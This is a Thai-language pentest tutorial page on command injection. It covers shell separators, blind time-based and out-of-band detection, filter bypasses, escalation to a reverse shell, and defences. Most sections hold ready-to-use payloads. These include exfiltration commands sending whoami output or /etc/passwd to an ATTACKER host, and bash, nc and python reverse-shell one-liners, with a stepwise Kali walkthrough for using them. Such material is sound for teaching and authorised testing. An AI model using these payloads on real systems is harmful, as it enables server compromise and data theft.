คลัง
web

Command Injection

Command Injection เกิดเมื่อแอปนำ input ผู้ใช้ไปประกอบเป็นคำสั่งระบบ (shell) โดยไม่กรอง ทำให้ผู้โจมตีแทรกคำสั่งของตัวเองและรันบนเซิร์ฟเวอร์ได้ (RCE) — เป็นช่องโหว่ที่ผลกระทบสูงสุดกลุ่มหนึ่ง บทนี้ครอบคลุมตัวคั่นคำสั่งของ shell (Unix/Windows), การตรวจจับทั้ง in-band และ blind, การใช้ time-based/OOB ยืนยันแบบ blind, เทคนิค bypass filter, การต่อยอดสู่ reverse shell และมุมมองฝ่ายป้องกัน

BeginnerIntermediateAdvanced#command-injection#rce#shell#blind#oob#filter-bypass#injection#web

1. หลักการ

เมื่อแอปเรียกคำสั่งระบบโดยเอา input มาต่อสตริง เช่น ping -c 1 <user_input> แล้วส่งให้ shell ตีความ ผู้โจมตีใส่ ตัวคั่นคำสั่งของ shell (; | && ` $()) เพื่อจบคำสั่งเดิมแล้วต่อคำสั่งใหม่ เช่น input 8.8.8.8; id ทำให้ shell รัน ping -c 1 8.8.8.8 แล้วตามด้วย id

จุดสำคัญคือแอปเรียก shell เป็นตัวกลาง (เช่น system(), exec(), os.system(), Runtime.exec() ที่ผ่าน sh -c) — shell คือตัวที่ตีความ metacharacter ถ้าแอปเรียกโปรแกรมตรงด้วย argument array (execve) โดยไม่ผ่าน shell ตัวคั่นเหล่านี้จะกลายเป็น argument ธรรมดา ไม่ทำงาน

input แทรกตัวคั่น → คำสั่งใหม่ทำงาน
8.8.8.8; id input มี ; คั่น sh -c "ping -c1 8.8.8.8; id" shell ตีความ ; เป็นตัวคั่น = 2 คำสั่ง uid=33(www-data) คำสั่งเราทำงาน = RCE
ตัวคั่นความหมายOS
; cmdรันต่อเสมอUnix
&& cmdรันถ้าคำสั่งแรกสำเร็จUnix/Win
|| cmdรันถ้าคำสั่งแรกล้มเหลวUnix/Win
| cmdpipe output เข้าคำสั่งใหม่Unix/Win
`cmd` / $(cmd)command substitutionUnix
& cmdรัน background / คำสั่งถัดไปUnix/Win
%0a (newline)ขึ้นบรรทัดใหม่ = คำสั่งใหม่Unix/Win
%0d%0aCRLF (บางกรณี Windows)Win

2. การตรวจจับ

  1. 1หา input ที่น่าจะถูกส่งเข้าคำสั่งระบบ: ping/traceroute/nslookup/whois, ฟังก์ชัน convert/resize รูป, backup/export, ตรวจสถานะเครือข่าย
  2. 2ลองตัวคั่น + คำสั่งที่เห็นผล เช่น ; id หรือ | whoami — ดู output แปลกปลอมในหน้า
  3. 3ถ้า output ไม่แสดง → blind: ยืนยันด้วยหน่วงเวลา (; sleep 5) หรือ OOB callback (DNS/HTTP กลับเครื่องเรา)
  4. 4ลองทั้ง context: บาง input อยู่ใน quote ต้องปิด quote ก่อน ("; id;" หรือ '; id; ')
Probe ยืนยันช่องโหว่
# ยืนยันด้วยผลคำนวณ (ไม่พึ่ง output คำสั่ง)
127.0.0.1 & echo cmdi$((7*7))cmdi     # หา cmdi49cmdi ในหน้า = รันสำเร็จ

# in-band ตรงๆ
8.8.8.8; id
8.8.8.8 | whoami

# blind time-based (response ช้า ~5วิ = สำเร็จ)
8.8.8.8; sleep 5
8.8.8.8 & ping -c 5 127.0.0.1

# ปิด quote/context ก่อน (เดา context)
"; id; "
'; id; '
$(id)
echo กับผลคูณช่วยยืนยันแม้ output ปกติถูกกรอง — เห็น marker = รันจริง

3. Payload ตาม OS

งานUnix/LinuxWindows
ผู้ใช้ปัจจุบันid / whoamiwhoami
ไฟล์รหัสผ่าน/ระบบcat /etc/passwdtype C:\\Windows\\win.ini
รายการไฟล์ls -ladir
ข้อมูลเครือข่ายifconfig / ip aipconfig /all
หน่วงเวลา (blind)sleep 5timeout /t 5 / ping -n 5 127.0.0.1
ดาวน์โหลดcurl / wgetcertutil -urlcache -f / powershell iwr
In-band (เห็น output)
8.8.8.8; id
8.8.8.8 | whoami
8.8.8.8 && cat /etc/passwd
$(cat /etc/passwd)
`id`
8.8.8.8 & type C:\Windows\System32\drivers\etc\hosts   # Windows
Blind — time-based และ OOB (lab/CTF)
# time-based: response ช้า 5 วิ = inject สำเร็จ
8.8.8.8; sleep 5
8.8.8.8 & ping -n 5 127.0.0.1                # Windows

# OOB exfil: ส่งผลคำสั่งกลับมาเครื่องเรา (ผ่าน DNS/HTTP)
8.8.8.8; curl http://ATTACKER/$(whoami)
8.8.8.8; nslookup `whoami`.ATTACKER.oob.example
8.8.8.8; wget --post-data="$(cat /etc/passwd|base64)" http://ATTACKER/
OOB ใช้เมื่อ output ไม่แสดงเลย ตั้ง listener (nc/Burp Collaborator/interactsh) รอ callback ที่มีข้อมูล

4. Bypass filter

เทคนิคหลบ filter ทั่วไป
# space ถูกกรอง → ใช้ ${IFS} หรือ tab / brace expansion
cat${IFS}/etc/passwd
cat${IFS%??}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

# คีย์เวิร์ดถูกกรอง → แทรกอักขระ/quote คั่น
c'a't /et'c'/pa''sswd
w""h""o""a""m""i
who$@ami
c\at /etc/pa\sswd

# ตัวคั่นบางตัวถูกกรอง → ใช้ตัวอื่น
8.8.8.8%0aid            # newline แทน ;
8.8.8.8|id

# encode / รันผ่าน base64
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
# = cat /etc/passwd

# blacklist path → wildcard / ตัวแปร
/???/??t /???/p??s??
cat /etc/passw$(echo d)
${IFS} = Internal Field Separator (ค่าเริ่มต้นคือ space/tab) ใช้แทน space ที่ถูกกรองได้
  • space: ${IFS}, tab, {cmd,arg} (brace expansion), < redirect
  • keyword/command name: แทรก quote (c'a't), backslash (ca\t), หรือประกอบจากตัวแปร (who$@ami)
  • slash ในพาธ: ใช้ ${PATH:0:1} ให้ได้ / โดยไม่พิมพ์ตรงๆ
  • ทั้ง payload ถูกกรอง: base64 decode แล้ว pipe เข้า sh
  • บาง character ถูกกรอง: ลอง URL-encode (%0a, %09) หรือ double-encode

5. เจอ Command Injection — ทำต่อยังไง

Decision flow: ยืนยัน → ต่อยอด
หา input ที่น่าจะเข้า shell
ping/convert/backup/export
ยิงตัวคั่น + คำสั่ง เห็น output ไหม?
เห็น output (id/whoami)inband
ไม่เห็นแต่ response ช้าตอนใส่ sleepblind
ไม่มีอะไรเลยoob
In-band RCE ยืนยันแล้ว
รันคำสั่งได้เต็ม
Blind time-based
; sleep 5 หน่วงเวลาได้ = RCE
OOB callback
curl/nslookup กลับเครื่องเรา (interactsh)
โดน filter?
space/keyword ถูกกรอง→ ดูหัวข้อ Bypass filter
ยกระดับ: reverse shell → stabilize → enum privesc
จาก www-data ไปหา flag/root

6. ต่อยอดเป็น Reverse Shell

เมื่อยืนยัน RCE แล้ว ขั้นต่อไปคือได้ interactive shell กลับมา ตั้ง listener บนเครื่องเรา (nc -lvnp 4444) แล้ว inject payload ที่เปิด connection กลับ (เฉพาะ lab/CTF ที่ได้รับอนุญาต)

Reverse shell payloads (Unix)
# ตั้ง listener บนเครื่องโจมตี
nc -lvnp 4444

# --- ฝั่งเป้าหมาย (inject ตามหลังตัวคั่น) ---
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
# bash ไม่ได้ → ลองตัวอื่น
mkfifo /tmp/f;nc ATTACKER 4444 </tmp/f|/bin/sh >/tmp/f 2>&1;rm /tmp/f
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh","-i"])'

# encode ทั้ง reverse shell เป็น base64 เลี่ยง filter
echo BASE64_PAYLOAD | base64 -d | bash
หลัง connect ทำ shell upgrade: python3 -c 'import pty;pty.spawn("/bin/bash")' แล้ว Ctrl+Z; stty raw -echo; fg
Reverse shell คือ full compromise — ใช้ได้เฉพาะระบบที่ได้รับอนุญาตทดสอบ เท่านั้น อย่าชี้ callback ไปเครื่องผู้อื่น และเก็บ log การทดสอบไว้เสมอ

7. ข้อผิดพลาดที่พบบ่อย

  • เดา OS ผิด → ยิง sleep/cat ใส่ Windows (ใช้ timeout/type)
  • ไม่ปิด quote/context ก่อน — input อยู่ใน string ต้อง break ออกก่อน
  • output ถูก strip แต่ยังพยายามอ่านตรงๆ (ควรใช้ time-based/OOB ยืนยัน)
  • ลืม URL-encode ตัวคั่น (&, ;, |, newline) ทำให้ถูก parser ตัดก่อนถึง shell
  • สับสน command injection กับ argument injection (บางที inject ได้แค่ flag ไม่ใช่คำสั่งใหม่)
  • reverse shell ตัวเดียวไม่เวิร์กแล้วยอมแพ้ — ลองหลาย payload (bash/nc/python/perl)

8. การป้องกัน (Blue-team)

  • อย่าเรียก shell ด้วย input — ใช้ API ที่ parametrize เช่น execve กับ argument array (subprocess.run([...], shell=False)) แทน os.system(str)
  • ถ้าเลี่ยงการเรียกโปรแกรมภายนอกไม่ได้ ใช้ไลบรารีในภาษาแทน (เช่น DNS resolver ในภาษา แทนเรียก nslookup)
  • Allowlist ค่าที่รับได้ (เช่น IP address validation ด้วย regex เข้ม) ไม่ใช่ blacklist metacharacter
  • Least privilege: process ที่รันคำสั่งควรมีสิทธิ์ต่ำสุด + sandbox/seccomp/container
  • Detection: log การ spawn process ลูกจาก web process ที่ผิดปกติ (เช่น www-data รัน sh -c ที่มี curl/nc/base64)
  • WAF ช่วย detect metacharacter ได้บ้าง แต่ bypass ได้ง่าย — เป็น defense-in-depth ไม่ใช่การแก้หลัก

9. Quick Reference

  • ตัวคั่น: ; | && || `cmd` $() & %0a
  • in-band: ; id | whoami && cat /etc/passwd
  • blind: ; sleep 5 (time) หรือ curl/nslookup ไปเครื่องเรา (OOB)
  • ยืนยันแบบ marker: & echo x$((7*7))x → หา x49x
  • bypass space: ${IFS} · bypass keyword: c'a't, แทรก quote/backslash
  • Windows: whoami, type, dir, timeout /t 5
  • ต่อยอด: reverse shell (bash/nc/python) → stabilize → privesc
  • ป้องกัน: ไม่เรียก shell ด้วย input; ใช้ execve array + allowlist + least privilege

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ input ที่ backend น่าจะเอาไปต่อเป็นคำสั่ง OS (เช่น ช่อง ping/host, filename, ฟังก์ชัน export/convert) ทำตามนี้ทีละขั้น

  1. 1หา input ที่น่าจะโดนเอาไปรันเป็นคำสั่ง (ช่อง ping/host, filename, export/convert function)
  2. 2ทดสอบ payload ง่ายสุดก่อน: ; id หรือ | id หรือ $(id) ต่อท้ายค่าปกติ ดูว่า output โผล่ user/uid ไหม
  3. 3ถ้าไม่มี output โผล่ตรงๆ (blind) ลอง ; sleep 5 จับเวลาว่า response ช้ากว่าเดิมไหม
  4. 4ถ้า sleep ทำงาน = blind command injection ยืนยันแล้ว ลอง OOB ยืนยัน/exfiltrate: ; curl http://.oast.fun/ ผ่าน interactsh หรือ webhook.site
  5. 5ถ้าตัวคั่นถูกกรอง (; | & ถูก block) ลองสลับ separator: %0a (newline), $(cmd), backtick, หรือใช้ ${IFS} แทน space
  6. 6เมื่อยืนยันแล้วว่ารันคำสั่งได้ ลองเปิด reverse shell: bash -i >& /dev/tcp/YOURIP/4444 0>&1 (เลือก payload จาก revshells.com ให้ตรง OS/shell)
  7. 7เปิด listener ฝั่งเรา nc -lvnp 4444 ก่อนยิง payload เสมอ
  8. 8ถ้ามี WAF กรองคำสั่งดิบ ลองใช้ gtfobins.github.io (Linux) หรือ lolbas-project.github.io (Windows) หาไบนารีที่มีอยู่แล้วช่วยรันคำสั่ง/bypass
  9. 9ได้ shell แล้ว → เช็ค privilege escalation ต่อ (sudo -l, SUID, capabilities)
Master flow — ยืนยันและยกระดับ Command Injection ทีละขั้น
ต่อท้ายค่าปกติด้วย ; id หรือ | id หรือ $(id) แล้วส่ง
เห็น output ของคำสั่ง (uid=.../gid=...) โผล่ในหน้าเว็บไหม?
✅ เห็น output ตรงๆ (in-band)→ เปิด reverse shell ต่อได้เลย
❌ ไม่เห็นอะไรเลย→ อาจเป็น blind ลองจับเวลาต่อ
ลอง ; sleep 5 แล้วจับเวลา response (เผื่อเป็น blind)
response ช้ากว่าเดิม ~5 วิไหม?
✅ ช้าตรงเวลา→ ยืนยัน blind command injection
❌ เวลาเท่าเดิม→ sleep ไม่ทำงาน
ยืนยัน blind command injection แล้ว → ยิง OOB ผ่าน interactsh/webhook.site เพื่อยืนยันและ exfiltrate: ; curl http://<id>.oast.fun/$(whoami)
ตัวคั่น ; | & โดนกรอง/บล็อกไหม?
✅ โดนกรอง→ ต้อง bypass separator ก่อน
❌ ใช้ได้ปกติ→ รันคำสั่งได้เลย
ลอง bypass ด้วย separator อื่น: %0a, $(cmd), backtick, ${IFS} แทน space
รันคำสั่งได้แล้ว (ทางใดทางหนึ่ง) → เปิด nc -lvnp 4444 ฝั่งเรา แล้วยิง reverse shell payload จาก revshells.com
ถ้ายังโดนกรองหนัก ลองหาไบนารีที่มีอยู่แล้วช่วย bypass: gtfobins.github.io (Linux) / lolbas-project.github.io (Windows)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ทดสอบ payload มือBurp Repeater / curlalready in Kali-
ยืนยัน/exfiltrate แบบ OOBcurl / digalready in Kaliinteractsh (interact.sh) / webhook.site
encode/bypass ตัวคั่น--CyberChef
สร้าง reverse shell payloadncalready in Kalirevshells.com
หา binary bypass (Linux)--gtfobins.github.io
หา binary bypass (Windows)--lolbas-project.github.io
เรียนรู้เทคนิคเพิ่ม--portswigger web security academy
scan privesc หลังได้ shelllinpeas.shcurl ดาวน์โหลดจาก GitHub-
🚑 ถ้าตันสนิท ลองท่าถัดไป: time-based-sqli ถ้า sleep ไม่ทำงานแต่จริงๆ อาจเป็น SQLi, ssrf ถ้าคำสั่งที่ inject ไปเรียก URL ภายใน ให้เปลี่ยนมุมมองเป็น SSRF, file-upload ถ้าอัปโหลด webshell ตรงๆ ง่ายกว่า inject คำสั่ง, linux-enumeration เมื่อได้ shell แล้วต้องยก privilege ต่อ

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้